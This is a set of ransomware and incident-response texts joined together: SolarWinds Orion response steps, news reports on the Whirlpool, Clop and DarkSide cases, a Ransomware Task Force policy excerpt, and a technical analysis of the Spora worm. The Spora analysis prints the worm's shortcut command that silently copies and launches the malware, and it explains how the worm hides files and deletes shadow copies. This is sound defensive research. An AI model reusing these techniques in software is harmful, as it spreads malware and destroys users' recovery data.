Get-FileHash C:\Orion\Solarwinds.Orion.Core.Businesslayer.dll | Format-List Algorithm: SHA256 Hash: CE77D116A074DAB7A22A0FD4F2C1AB475F16EEC42E1DED3C0B0AA8211FE858D6 Path: C:\Orion\Solarwinds.Orion.Core.Businesslayer.dll ``` **Network Queries** SolarWinds can be detected via network monitoring by looking for call-homes made by its updating service. The following Zeek IDS searches may also help: SIEM Searches. Note: You may only see outbound connection from your main SolarWinds instance not pollers. ### Identify Malicious SolarWinds Components **Endpoint Indicators** Warning: check your configuration for exclusions. **Sophos Intercept X / Central Endpoint Protection:** SophosLabs contains both detections for the malicious component and the additional signature that indicate active exploitation. Sophos has also blocked all associated IP and domain indicators for its customers. See GitHub for detection names. **Network Indicators** Sophos has also blocked all associated IP and domain indicators for its XG and SG customers. If you have additional network telemetry the following searches may also be of use: SIEM Searches. Note: The attacks communicate to C2 via TLS so a file hash hit is unlikely unless you intercept TLS. ### Prepare for Forensics If possible, snapshot all affected hosts with impacted versions of Orion installed. Ensure that snapshotting processes also capture memory. - **VMware:** [VMware Documentation](https://docs.vmware.com/en/VMware-vSphere/6.0/com.vmware.vsphere.html.hostclient.doc/GUID-A0D8E8E7-629B-466D-A50C-38705ACA7613.html) - **Hyper-V:** [Citrix Support](https://support.citrix.com/article/CTX126393) A lightweight forensic acquisition can also be performed using the “Forensic snapshot” feature of Sophos EDR. ### Scope Potentially Compromised Accounts Potentially impacted accounts are: 1. All accounts SolarWinds used for network monitoring, including Windows local accounts, domain accounts, SNMP, SSH, etc. 2. All other accounts used on the affected SolarWinds Orion Servers, including all administrative logins (e.g., EventCode 4624) to the server and any local or service accounts (e.g., local SQL database account). The following table can be used to document all potentially impacted accounts: | Username (fully-qualified username/UPN) | Desc | Protocol | Domain | Admin (y/n) | Server | Scope | Notes | |------------------------------------------|------|----------|--------|--------------|--------|-------|-------| | | | Windows/KRB/NTLM | SNMP | SSH etc | | | | ### Identify High-Value Attack Paths for Potentially Compromised Accounts For all potentially compromised accounts listed above, identify other high-value systems (e.g., domain controllers, Active Directory Federation Services, and Azure Active Directory Connect servers) to which they had access. 1. Evaluate local system authentication logs for anomalous activity from compromised accounts. 2. Bloodhound can also be used to map out access of any potentially impacted accounts. If servers or accounts involved in federated authentication (e.g., ADFS servers) were potentially impacted, refer to Microsoft’s customer guidance and develop an appropriate additional containment strategy. ## Containment and Eradication Warning: these steps assume a desire to preserve the environment for further forensic investigation and may have an impact on production environments. 1. Isolate all SolarWinds Orion instances from the network: - Instant isolation can be performed at the host level using such controls as Sophos EDR via Sophos Central. - Host-based isolation should be backed up by network-based isolation. Systems should be migrated to an isolated non-routable VLAN with console access only (migrating to a VLAN helps preserve network state for future forensics). 2. Perform credential reset or disable and recreate all potentially impacted accounts: - Important: Ensure that no fresh or reset accounts are used to access any compromised infrastructure. 3. Rebuild fresh monitoring servers from known-good sources ready for release of Orion platform version 2020.2.1 HF 2, which is planned for release on Tuesday, December 15, 2020. 4. Consider taking forensic snapshots and rebuilding additional exposed hosts, including: - Any hosts running the SolarWinds agent. - Any hosts for which potentially compromised accounts had access rights. ## Changelog 2020-12-15T12:18Z Added warning about checking your configurations for exclusions.
# Home appliance giant Whirlpool hit in Nefilim ransomware attack Home appliances giant Whirlpool suffered a ransomware attack by the Nefilim ransomware gang who stole data before encrypting devices. Whirlpool is one of the world's largest home appliance makers with appliances under its name and KitchenAid, Maytag, Brastemp, Consul, Hotpoint, Indesit, and Bauknecht. Whirlpool employs 77,000 people at 59 manufacturing and technology research centers worldwide and generated approximately $20 billion in revenue for 2019. Over the weekend, the Nefilim ransomware gang published files stolen from Whirlpool during a ransomware attack. The leaked data included documents related to employee benefits, accommodation requests, medical information requests, background checks, and more. A source in the cybersecurity industry has told BleepingComputer that the Nefilim ransomware gang attacked Whirlpool in the first weekend of December. In a statement to BleepingComputer, Whirlpool confirmed the attack and that their systems have been fully restored from the attack. "We live in a time when illegal cyber crimes are all too prevalent across every industry. Data privacy is a top priority at Whirlpool Corporation and we invest in the technology and processes to help protect our people, our data, and our operations." "Last month Whirlpool Corporation discovered ransomware in our environment. The malware was detected and contained quickly. We are unaware of any consumer information that was exposed. There is no operational impact at this time," Whirlpool Corporation told BleepingComputer in an email. Nefilim is not a particularly active ransomware operation but is known for attacks on other large and well-known victims in the past. Other victims attacked by Nefilim include Orange S.A., Dussman Group, Luxottica, and Toll Group. **Update 12/28/20:** Whirlpool's systems are fully restored, not slowly recovering as initially stated.
# Combating Ransomware ## A Comprehensive Framework for Action: Key Recommendations from the Ransomware Task Force Prepared by the Institute for Security and Technology --- ## A Note from RTF Co-Chairs We are honored to present this report from the Ransomware Task Force. This report details a comprehensive strategic framework for tackling the dramatically increasing and evolving threat of ransomware, a widespread form of cybercrime that has become a serious national security threat and a public health and safety concern. Ransomware is not just financial extortion; it is a crime that transcends business, government, academic, and geographic boundaries. It has disproportionately impacted the healthcare industry during the COVID pandemic, shutting down schools, hospitals, police stations, city governments, and U.S. military facilities. It also funnels both private funds and tax dollars toward global criminal organizations. The proceeds stolen from victims may finance illicit activities ranging from human trafficking to the development and proliferation of weapons of mass destruction. Tackling ransomware will not be easy; there is no silver bullet for solving this challenge. Most ransomware criminals are based in nation-states that are unwilling or unable to prosecute this cybercrime, and because ransoms are paid through cryptocurrency, they are difficult to trace. This global challenge demands an “all hands on deck” approach, with support from the highest levels of government. Countless people around the world are already working tirelessly to blunt the onslaught of ransomware attacks. But no single entity alone has the requisite resources, skills, capabilities, or authorities to significantly constrain this global criminal enterprise. For this reason, we convened the Ransomware Task Force — a team of more than 60 experts from software companies, cybersecurity vendors, government agencies, non-profits, and academic institutions — to develop a comprehensive framework for tackling the ransomware threat. Our goal is not only to help the world better understand ransomware but to proactively and relentlessly disrupt the ransomware business model through a series of coordinated actions, many of which can be immediately implemented by industry, government, and civil society. Acting upon a few of these recommendations will not likely shift the trajectory, but the Task Force is confident that implementing all of them in coordination, with speed and conviction, will make a significant difference. While we have strived to be comprehensive, we acknowledge there will be areas we have not addressed, or on which we could not come to consensus. Prohibition of payments is the most prominent example; the Task Force agreed that paying ransoms is detrimental in a number of ways, but also recognized the challenges inherent in barring payments. Just as we have been grateful to stand on the shoulders of those that came before us, we hope our efforts and investigations will fuel the thinking and recommendations of those that come after us. We urge all those with the ability to act to do so immediately. The ransomware threat continues to worsen by the day, and the consequences of waiting to respond could be disastrous. More than money is at stake; lives, critical infrastructure, public faith in the legitimacy of our institutions, the education system, and in many ways, our very way of life depends on taking action. As a final note, we would like to offer our sincere thanks to the members of the Ransomware Task Force, who responded to our call and generously dedicated their time and energy into developing the recommendations included in this report. The Working Group Co-Chairs of the Ransomware Task Force: John Davis, Palo Alto Networks Megan Stifel, Global Cyber Alliance Michael Phillips, Resilience Kemba Walden, Microsoft Jen Ellis, Rapid7 Chris Painter, The Global Forum on Cyber Expertise Foundation Board Michael Daniel, Cyber Threat Alliance Philip Reiner, Institute for Security and Technology --- ## Executive Summary Ransomware attacks present an urgent national security risk around the world. This evolving form of cybercrime, through which criminals remotely compromise computer systems and demand a ransom in return for restoring and/or not exposing data, is economically destructive and leads to dangerous real-world consequences that far exceed the costs of the ransom payments alone. In 2020, thousands of businesses, hospitals, school districts, city governments, and other institutions in the U.S. and around the world were paralyzed as their digital networks were held hostage by malicious actors seeking payouts. The immediate physical and business risks posed by ransomware are compounded by the broader societal impact of the billions of dollars steered into criminal enterprises, funds that may be used for the proliferation of weapons of mass destruction, human trafficking, and other virulent global criminal activity. Despite the gravity of their crimes, the majority of ransomware criminals operate with near-impunity, based out of jurisdictions that are unable or unwilling to bring them to justice. This problem is exacerbated by financial systems that enable attackers to receive funds without being traced. Additionally, the barriers to entry into this lucrative criminal enterprise have become shockingly low. The “ransomware as a service” (RaaS) model allows criminals without technical sophistication to conduct ransomware attacks. At the same time, technically knowledgeable criminals are conducting increasingly sophisticated attacks. Significant effort has been made to understand and address the ransomware threat, yet attackers continue to succeed on a broad and troubling scale. To shift these dynamics, the international community needs a comprehensive approach that influences the behavior of actors on all sides of the ecosystem, including deterring and disrupting attackers, shoring up preparation and response of potential victims, and engaging regulators, law enforcement, and national security experts. We also need international cooperation and adoption of processes, standards, and expectations. This report outlines a comprehensive framework of actions (48 in total) that government and industry leaders can pursue to significantly disrupt the ransomware business model and mitigate the impact of these attacks in the immediate and longer terms. These recommendations were collaboratively developed by the Ransomware Task Force (RTF) — a broad coalition of volunteer experts from industry, government, law enforcement, civil society, cybersecurity insurers, and international organizations — to provide a strategic framework for a systemic, global approach to mitigating the ransomware problem. While we have identified some recommendations as priorities, we strongly recommend viewing the entire set of recommendations together, as they are designed to complement and build on each other. The strategic framework is organized around four primary goals: to deter ransomware attacks through a nationally and internationally coordinated, comprehensive strategy; to disrupt the business model and reduce criminal profits; to help organizations prepare for ransomware attacks; and to respond to ransomware attacks more effectively. --- ## Introduction Ransomware is a flourishing criminal industry that not only risks the personal and financial security of individuals but also threatens national security and human life. Businesses, schools, governments, hospitals, and nearly every other type of institution are regularly targeted, disrupted, and held hostage. The problem has steadily grown worse in recent years, and in 2020, nearly 2,400 U.S.-based governments, healthcare facilities, and schools were victims of ransomware, according to the security firm Emsisoft. Multiple organizations have issued reports on the costs of ransomware, and while their exact figures vary, all consistently show a steady increase in the number of attacks and damaging economic impact. In 2020, nearly 2,400 U.S.-based governments, healthcare facilities, and schools were victims of ransomware. ### Ransomware as a National Security Threat The costs of ransomware go far beyond the ransom payments themselves. Cybercrime is typically seen as a white-collar crime, but while ransomware is profit-driven and “non-violent” in the traditional sense, that has not stopped ransomware attackers from routinely imperiling lives. **Threats to Critical Infrastructure:** Ransomware attacks have shut down the operations of critical national resources, including military facilities. In 2019, a ransomware attack shut down the operations of a U.S. Coast Guard facility for 30 hours, and in February 2020, a ransomware attack on a natural-gas pipeline operator halted operations for two days. Attacks on the energy grid, on a nuclear plant, waste treatment facilities, or on any number of critical assets could have devastating consequences, including human casualties. **Risks to Public Health:** Hospitals and other medical centers are a favorite target for ransomware criminals. In 2020, 560 healthcare facilities were hit by ransomware attacks in the U.S. alone. These incidents not only cost the victims millions of dollars in recovery but also have led to delays in patient treatment and possibly loss of life. In September 2020, a ransomware attack led to the failure of computer systems at Duesseldorf University Clinic, requiring critically ill patients to be relocated to other facilities, and in the United States, an attack caused delays in treatment for cancer patients at the University of Vermont Medical Care and other facilities. **Societal Impact: Targeting the Health Care Sector** In October 2020, hackers compromised the computer networks of roughly a dozen medical centers across the United States. These attacks forced the cancelation of surgeries and disruptions in patient care; the University of Vermont Medical Center (UVM) was forced to furlough or reassign about 300 employees as the hospital’s networks were taken offline in the midst of the COVID pandemic, and patients were turned away from scheduled cancer treatments and other medical procedures. The company’s President and COO estimated the attack would cost roughly $64 million before systems were fully restored. Extensive cyber vulnerabilities across the healthcare industry create potentially lucrative targets for malicious ransom-seeking actors, driving the significant increase in attacks against healthcare facilities. Government policy choices regarding ransomware should focus on this critical threat: statistical analysis reveals that ransomware-driven delays in care in these healthcare systems invariably contribute to a loss of life due to the inability of patients to receive timely care. This illuminates the risk to human life posed by these attacks – and yet the attackers continue to undertake these assaults with near impunity. **Diversion of Vital Public Resources:** Ransomware attacks on municipal governments are common. Such attacks not only divert public resources into illicit economies, but the victims incur costs that far exceed the ransoms alone. For example, in 2018, the City of Atlanta paid $50,000 in Bitcoin as ransom, but the total cost of the recovery exceeded $2.6 million, as the city was forced to pay for digital forensics, increased staffing, crisis communications, and other costs. A ransomware attack similarly debilitated the City of Baltimore, leading to a range of negative impacts. **Loss of Data/Privacy:** Ransomware criminals are increasingly expanding their attacks to include “double extortion,” whereby they first demand ransom to decrypt an organization’s data, then threaten to release the data on the internet unless additional ransom is paid. At the start of 2020, only one major ransomware group exfiltrated data for a second extortion, but by the end of the year, at least 17 other groups used this tactic. The potential exposure of their data and ensuing legal liability (particularly in countries with strict data security laws) may be a critical factor in leading some victims to pay the ransom. **Disruption of Schools and Colleges:** The education sector has become a top target: during 2020, nearly 1,700 schools, colleges, and universities in the United States were impacted by ransomware. According to a report by the Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), and the Multi-State Information Sharing and Analysis Center (MS-ISAC), 57% of all reported ransomware attacks in August and September 2020 were targeted at K–12 schools. These attacks not only disrupt the schools’ operations but often include threats to leak confidential student data on the internet. **Economic Impact:** Ransoms paid by private firms siphon millions of dollars toward criminal enterprise every year. The total amount paid by ransomware victims increased by 311% in 2020, reaching nearly $350 million worth of cryptocurrency. However, the economic impacts go well beyond the costs of ransoms alone. Reported ransomware payments do not cover the costs associated with service downtime and recovery. Total remediation costs are typically several times a ransom payment and are often large enough to cripple many small businesses. In addition, money that flows to the criminal networks creates second- and third-order economic effects, since those revenues go on to fund other types of crime. --- ## A Comprehensive Framework for Action: Key Recommendations from the Ransomware Task Force Ransomware has become too large of a threat for any one entity to address; the scale and magnitude of this challenge urgently demands coordinated global action. In response, in early 2021, the Institute for Security and Technology (IST) convened the Ransomware Task Force (RTF), an interdisciplinary group of leaders, for a three-month sprint with the goal of producing a comprehensive framework of actionable solutions and recommendations to help public- and private-sector leaders reduce the threats posed by ransomware in the near and long term. This strategic framework aims to help policymakers and industry leaders take system-level action — through potential legislation, funding new programs, or launching new industry-level collaborations — that will help the international community build resistance, disrupt the ransomware business model, and develop resilience to the ransomware threat. The framework is organized around four goals: 1. Deter ransomware attacks through a nationally and internationally coordinated, comprehensive strategy. 2. Disrupt the ransomware business model and reduce criminal profits. 3. Help organizations prepare for ransomware attacks. 4. Respond to ransomware attacks more effectively. These goals are interlocking and mutually reinforcing. For example, actions to disrupt the ransomware payments system will decrease the profitability of ransomware, thereby helping to deter other actors from engaging in this crime. Conversely, without taking the recommended steps to deter ransomware attackers, disruption will be harder to achieve. In a similar vein, many actions taken to better prepare organizations for ransomware attacks, such as informing them about the risks, will also improve their ability to respond, while understanding more about how organizations are responding to ransomware attacks will help improve organizations’ collective preparedness. Thus, this framework should be considered as a whole, not merely a laundry list of potential disparate actions. ### Recommendations at a glance: 1. Deter Ransomware Attacks 2. Disrupt the Ransomware Business Model 3. Help Organizations Prepare 4. Respond to Ransomware Attacks More Effectively --- ## Goal #1: Deter Ransomware Attacks The number of actors capable of conducting ransomware attacks is large and growing, and to curb the growth of this threat in the long-term, steps must be taken to systemically discourage ransomware attacks. This deterrence must be multilayered and rely on all instruments of national power. We propose a coordinated, effectively messaged, relentlessly executed deterrence campaign directed from the senior-most levels of the U.S. Government in real-time collaboration with international partners. The actions recommended here are to be directly supplemented by the disruption activities recommended in Goal #2. ### Objective 1.1: Signal that ransomware is an international diplomatic and enforcement priority International governments must cooperate more purposefully and publicly to send an effective signal to ransomware criminals that this form of cybercrime is a diplomatic and law enforcement priority. A clear declarative policy will serve as a foundation to other international and national-level efforts. - **Action 1.1.1:** Issue declarative policy through coordinated international diplomatic statements that ransomware is an enforcement priority. - **Action 1.1.2:** Establish an international coalition to combat ransomware criminals. - **Action 1.1.3:** Create a global network of ransomware investigation hubs. - **Action 1.1.4:** Convey the international priority of collective action on ransomware via sustained communications by national leaders. ### Objective 1.2: Advance a comprehensive, whole-of-U.S. government strategy for reducing ransomware attacks, led by the White House Ransomware is an urgent threat that demands a “whole-of-government” strategic response. Within the U.S. Government, establishing structures for cross-agency coordination will be vital for tackling the ransomware challenge, and will reduce the lag time in government response. - **Action 1.2.1:** Establish an Interagency Working Group for ransomware. - **Action 1.2.2:** Establish an operationally focused U.S. government Joint Ransomware Task Force (JRTF) to collaborate with a private-sector Ransomware Threat Focus Hub. - **Action 1.2.3:** Conduct a sustained, aggressive, public-private collaborative anti-ransomware campaign. - **Action 1.2.4:** Make ransomware attacks an investigation and prosecution priority, and communicate this directive internally and to the public. - **Action 1.2.5:** Raise the priority of ransomware within the U.S. Intelligence Community, and designate it as a national security threat. - **Action 1.2.6:** Develop an international-version of an Intelligence Community Assessment (ICA) on ransomware actors to support international collaborative anti-ransomware campaigns. ### Objective 1.3: Substantially reduce safe havens where ransomware actors currently operate with impunity Many pernicious ransomware actors are given free reign by the nations where they reside and cannot be easily reached by international law enforcement agencies. - **Action 1.3.1:** Exert pressure on nations that are complicit or refuse to take action. - **Action 1.3.2:** Incentivize cooperation and proactive action in resource-constrained countries. --- ## Goal #2: Disrupt the Ransomware Business Model and Decrease Criminal Profits Ransomware is overwhelmingly a financially motivated crime, and as long as the profits outweigh the risks, attacks will continue. To effectively disrupt this threat, government and industry stakeholders must work collaboratively across borders to reduce the profitability of this criminal enterprise and increase the risk of ransomware execution. ### Objective 2.1: Disrupt the system that facilitates the payment of ransoms. Ransomware attacks are profitable because ransom payments are made through the use of diverse cryptocurrencies, where payments are difficult to trace and can easily be laundered. - **Action 2.1.1:** Develop new levers for voluntary sharing of cryptocurrency payment indicators. - **Action 2.1.2:** Require cryptocurrency exchanges, crypto kiosks, and over-the-counter (OTC) trading desks to comply with existing laws. --- This framework provides a comprehensive approach to combatting ransomware, emphasizing the need for coordinated action across various sectors and levels of government.
# Ransomware Gang Urges Victims’ Customers to Demand a Ransom Payment A ransomware operation known as 'Clop' is applying maximum pressure on victims by emailing their customers and asking them to demand a ransom payment to protect their privacy. A common tactic used by ransomware operations is to steal unencrypted data before encrypting a victim's network. This data is then used in a double-extortion tactic where they threaten to release the data if a ransom is not paid. When data is published, it can be damaging to the victim and their customers, as the stolen data could contain personal information, credit cards, social security numbers, and even government-issued identification. After the Clop gang stole data from jet maker Bombardier in an Accellion hack, they leaked a small amount on their ransomware data leak site. A week later, the threat actors began emailing journalists to let them know that further data would be released. As Bombardier had already disclosed the data breach, this tactic did not work as hoped by the threat actors. However, Clop has now taken it a step further and directly emailed victims' customers found in files or database dumps stolen during the ransomware attack. The tactic first started with Flagstar Bank customers and then with people exposed in the University of Colorado's Accellion hack. In an email seen by BleepingComputer, Clop is now using the same tactic to the customers of an online maternity clothing store, which will not be named. In these emails, Clop is sending customers threatening emails with the subject "Your personal data has been stolen and will be published." These emails say that the recipient is being contacted as they are a customer of the store, and their personal data, including phone numbers, email addresses, and credit card information, will soon be published if the store does not pay a ransom. "Perhaps you bought something there and left your personal data. Such as phone, email, address, credit card information and social security number," the Clop gang states in the email. Clop then tells the customer to "Call or write to this store and ask to protect your privacy!!!!" In other words, the Clop gang is hoping that if enough customers contact the store about their stolen data, the store will pay the ransom to prevent the data from being published. While I do not think this tactic will work, it illustrates the continuing pressure ransomware gangs apply to victims by leaking their data and scaring their customers. Clop is not alone in their attempts to apply maximum pressure on victims to get them to pay ransoms. Earlier this month, we reported that the REvil ransomware operation was planning on DDoSing victims or making VOIP calls to victims' customers to apply further pressure. Sadly, regardless of whether a ransom is paid, consumers whose data has been stolen are still at risk as there is no way of knowing if ransomware gangs delete the data as they promise.
# Spora - the Shortcut Worm that is also a Ransomware Spora spreads via USB drives like Gamarue and Dinihou aka Jenxcus whilst also encrypting files. The sophistication of this threat could easily make it the new Locky. We discuss its infection and encryption procedure and show how it uses statistical values about encrypted files to calculate the ransom amount. ## HTA Email Attachment as Common Infection Vector Spora's ransom note was first spotted by the ID Ransomware maintainers and announced via Twitter by MalwareHunterTeam. Several malware researchers and Twitter users were amazed by the good-looking, professional ransomware website and ransom note. Experience showed that most of these websites are in a bad shape. The first sample was provided by a member of Bleepingcomputer and discussed in their Spora support topic. This sample is an HTA application with obfuscated VBScript code. According to Bleepingcomputer, it arrived in a ZIP archive via email attachment. Submissions on VirusTotal show the filename Скан-копия _ 10 января 2017г. Составлено и подписано главным бухгалтером. Экспорт из 1С.a01e743_рdf.hta. The HTA file writes a JScript file to `%TEMP%\close.js` and executes it. The JScript file in turn is a dropper for a Word document that is written to `%TEMP%\doc_6d518e.docx` and a PE file that is saved to `%TEMP%\81063163ded.exe`. Both files are opened by close.js, the Word document with a parameter to show and focus the window, and the PE file with a parameter to hide it. As a result, the document will be opened by the set default application for .docx files, e.g., Word, but an error message is shown because it is corrupt. The PE file 81063163ded.exe has a seemingly random name, but it is actually hardcoded by the dropper. The PE file is UPX packed and contains the actual payload. ## Worm-like Behavior Similar to Dinihou and Gamarue While ZCryptor had already been deemed a combination of ransomware and worm due to its usage of autorun.inf, Spora goes some steps further using the same techniques as Gamarue and Dinihou. The functionality of autorun.inf had been removed in Windows 7 and was patched on Windows XP and Windows Vista more than seven years ago, thus making it an ineffective technique for worms to spread via removable drives. The trick is: Gamarue, Dinihou, and now also Spora use Windows shortcuts (.LNK files) instead. Spora adds the hidden attribute to files and folders on the desktop, in the root of removable drives, and the system drive. These hidden files and folders are, with the standard folder options, not visible anymore. Spora then puts Windows shortcuts with the same name and icon as the hidden files and folders as a visible replacement. Those .LNK files open the original file to avoid raising any suspicion and simultaneously execute the malware. An example: the folder C:\Windows will be hidden and a file named C:\Windows.lnk will be created; it looks exactly like the original folder if the standard folder options on Windows are set. The .LNK files use the following command to execute the worm and open the original file. If the original file is a folder, it will open Windows Explorer to show its contents: ``` explorer.exe "<originalfile>" & type "<worm>" > "%%tmp%%\<worm>" & start "<originalfile>" "%%tmp%%\<worm>" ``` The worm copies itself as a hidden file alongside the .LNK files; its filename is generated by calculating the CRC32 checksum for the VolumeSerialNumber. The result is put into the pattern `%08x-%04x-%04x-%02x%02x-%02x%02x%02` (see address 0x405492). This means, the name for the malware file can be, e.g., a277a133-ecde-c0f5-1591-ab36e22428bb.exe. The worm deletes the registry value `HKCR\lnkfile\isShortcut` with the effect that the shortcut icons don't show the characteristic bent arrow in the lower left corner, which would be a telltale sign to the user that something is wrong. Simply navigating through the folders on your system and desktop using double-click will execute the worm. Using this strategy, it will not only spread to removable drives like USB thumb drives, it will also encrypt newly created files on the system. This renders the system unusable for storing or working on any pictures or documents until it is disinfected. ## Encryption Spora actually does not rename encrypted files and targets a comparably small set of extensions. The encryption procedure is shown in the diagram below. ``` .backup, .7z, .rar, .zip, .tiff, .jpeg, .jpg, .accdb, .sqlite, .dbf, .1cd, .mdb, .cd, .cdr, .dwg, .psd, .pdf, .odt, .rtf, .docx, .xlsx, .doc, .xls ``` Spora generates a pair of RSA keys, C1 and C2 (1024 bit). This newly generated public RSA key C2 is used to encrypt the per-file AES keys which are also generated by Spora. The generated private RSA key C1 on the other hand is stored in the .KEY file. That file is encrypted using a newly generated AES Key B (256 bit). The attacker's public RSA key A2 is used to encrypt AES key B. The encrypted key B is appended to the .KEY file. A second important file is the .LST file which contains a list of all encrypted files. Its encryption works analogous to the .KEY file encryption. A new AES key is generated, used to encrypt the .LST contents, encrypted by the public RSA key A2 of the attacker, and appended to the .LST file in encrypted form. Using this encryption scheme, Spora does not have to obtain a key from a command and control server and can work offline. The user has to upload the .KEY file to the payment site. The .KEY file is only decryptable by the ransomware authors. Using their private RSA key A1, they could decrypt the AES Key B that was appended to the .KEY file. They could decrypt the remaining .KEY file contents including the user's private RSA key C1 using AES key B. Then they may put the private RSA key C1 into a decrypter that they send to the user after they have received the payment. This handling ensures that the attackers' private RSA key A1 is not exposed and that the decrypter only works for one user. However, this also means that there is only one private RSA key A1 for several infections. If that key is leaked or obtained by law enforcement, it can be used to decrypt all files that were encrypted by this variant of Spora and as such we can consider it a master key. The Spora payment site includes a chat system and provides several decryption packages with varying prices. ## Statistics about Encrypted Files Spora counts the number of encrypted files for six different extension categories. They are listed in the table below. | Position/ID | Category | File Extensions | |-------------|--------------------------------------------|-----------------------------------------------------| | 1 | Office Document | .odt, .rtf, .docx, .xlsx, .doc, .xls | | 2 | PDF | .pdf | | 3 | CorelDraw, AutoCAD, Photoshop | .cdr, .dwg, .psd | | 4 | Database | .accdb, .sqlite, .dbf, .1cd, .mdb, .cd | | 5 | Image | .tiff, .jpeg, .jpg | | 6 | Archive | .backup, .7z, .rar, .zip | The .KEY file saves these statistical values in the form `date|user name|locale|cat1|cat2|cat3|cat4|cat5|cat6`, e.g., `13.1.2017|horst|USA|10|2|3|0|103|51`. The same statistics will be used for the naming scheme of the .LST file, the .KEY file, and the ransom note. After uploading the .KEY file to Spora's payment website, the ransom amount will be calculated depending on the number of encrypted files. | Office Documents | PDF | CorelDraw/AutoCAD/Photoshop | Databases | Images | Archives | Ransom in USD | |------------------|-----|------------------------------|-----------|--------|----------|-----------------------| | 2284 | 1550| | 1211 | 89 | 79 | up to 110 | | 489 | 471 | 4 | 796 | 6 | 79 | up to 110 | | 5223 | 374 | 206 | 12 | 12694 | 198 | 90 up to 120 | | 7791 | 7341| 2194 | 8587 | 782 | 128 | 128 up to 170 | | 11160 | 9354| 24 | 69 | 9774 | 242 | 146 up to 190 | | 12851 | 5188| 1851 | 51 | 331031 | 1281 | 199 up to 250 | | 21173 | 7087| 5 | 149 | 7069 | 730 | 214 up to 270 | | 25146 | 25829| 29598 | 5463 | 105943 | 5818 | 280 up to 350 | | 138964 | 95087| 218249 | 846 | 277541 | 22449 | 280 up to 350 | | 11810 | 7272| 15306 | 10 | 27651 | 1471 | 280 up to 350 | | 30503 | 2135| 40098 | 37 | 25271 | 1580 | 280 up to 350 | | 26375 | 20505| 12178 | 3016 | 31505 | 2487 | 280 up to 350 | | 82319 | 40707| 16931 | 114 | 38520 | 3607 | 280 up to 360 | ## Additional Behavior Spora does not bypass User Account Control (UAC). This means the user will be asked whether the malware is allowed to make changes to the computer in use. Spora deletes shadow volume copies and disables Windows error recovery and startup repair. ## List of Files Involved | Filenames | Description | SHA256 | Detected As | |---------------------------------------------|-------------|----------------------------------------------------------------------------------------|-----------------------------| | Скан-копия _ 10 января 2017г. | HTA dropper | 3fb2e50764dea9266ca8c20681a0e0bf60feaa34a52699cf2cf0c07d96a22553 | Script.Trojan-Dropper.Spora.A | | close.js | JScript dropper | e2fe74d890ddb516b4f21a6588c6e0bdbf3dd6f8c5116d707d08db7ebddf505a | Script.Trojan-Dropper.Spora.G | | 81063163ded.exe, a277a133-ecde-c0f5-1591-ab36e22428bb.exe | Spora PE file, UPX packed | dbfd24cd70f02ddea6de0a851c1ef0f45f18b4f70e6f3d0f2e2aec0d1b4a2cbf | Win32.Worm.Spora.B | | doc_6d518e.docx | Corrupt Word document | 0ba39054a70802d0b59a18b873aab519e418dc9b0c81400d27614c9c085409ad | - | | Windows.lnk | Malicious shortcut | - | Win32.Worm.SporaLnk.A | | RU302-15XRK-GXTFO-GZTET-KTXFF-ORTXA-AYYYY.HTML | Ransom note | - | - | | RU302-15XRK-GXTFO-GZTET-KTXFF-ORTXA-AYYYY.KEY | Contains statistics, campaignID, username, locale, timestamp, and private RSA key C1; encrypted | - | - | | RU302-15XRK-GXTFO-GZTET-KTXFF-ORTXA-AYYYY.LST | List of encrypted files; encrypted | - | - |
# DarkSide Ransomware Made $90 Million in Just Nine Months The DarkSide ransomware gang has collected at least $90 million in ransoms paid by its victims over the past nine months to multiple Bitcoin wallets. Around 10% of the profit came in one week from attacking just two companies: Colonial Pipeline, the largest oil pipeline system in the United States, and Brenntag, a large chemical distribution company in Germany. ## Huge Ransom Payments Blockchain analysis company Elliptic found and analyzed ransom payments made to DarkSide from 47 distinct Bitcoin wallets. The transactions totaled just over $90 million since October 2020. Assuming these are all the payments that DarkSide received from its victims, the group’s average ransom would be $1.9 million, making the threat actor one of the greediest in the ransomware business. A blog post from Managed Detection and Response (MDR) service provider eSentire on May 12, a day before DarkSide operations closed, counted 59 victims listed on the gang’s leak site, which would add to the 47 associated with the Bitcoin wallets that Elliptic analyzed. Although DarkSide launched in August 2020, the gang became a prolific actor on the ransomware scene and saw a significant surge in profits lately. Elliptic notes in a report last week that the operation made $17.5 million, which is around 20% of its known total profits, only in the past three months. Attacks on Colonial Pipeline and Brenntag brought the cybercriminals about $10 million, as the former paid nearly $5 million and the latter paid a $4.4 million ransom. ## Splitting the Profit Being a ransomware-as-a-service (RaaS) operation, the DarkSide profits were split between the developers of the malware and the affiliates that breached victim networks, stole data, and deployed the file-encrypting malware. Affiliates, or partners, typically get the lion’s share of the money because they do most of the work. In the case of DarkSide, they got between 75% and 90% of the profit, depending on the size of the ransom. For ransoms smaller than $500,000, the DarkSide developers would take 25%; the share decreased to 10% for larger payments of more than $5 million. Elliptic co-founder and chief scientist Dr. Tom Robinson says that the “split of the ransom payment is very clear to see on the blockchain” and that the malware developer received $15.5 million worth of bitcoins from the total profits. Following the transactions from wallets belonging to DarkSide affiliates, Robinson found that 18% of the proceeds were sent to some exchange services and 4% went to a large dark market that provides, among others, cash-out services. With $90 million from ransoms over a period of nine months, DarkSide sits among the most profitable ransomware groups: - Ryuk - at least $150 million - GandCrab - $150 million (self-claim) in one year and a half - REvil - $100 million (self-claim) in one year - Maze/Egregor - over $63 million received to one Bitcoin address in four months (between August 2020 and the end of the year) - Netwalker - $25 million in five months - Qlocker - $260,000 in 5 days ## About the Author Ionut Ilascu is a technology writer with a focus on all things cybersecurity. The topics he writes about include malware, vulnerabilities, exploits, and security defenses, as well as research and innovation in information security. His work has been published by Bitdefender, Netgear, The Security Ledger, and Softpedia.
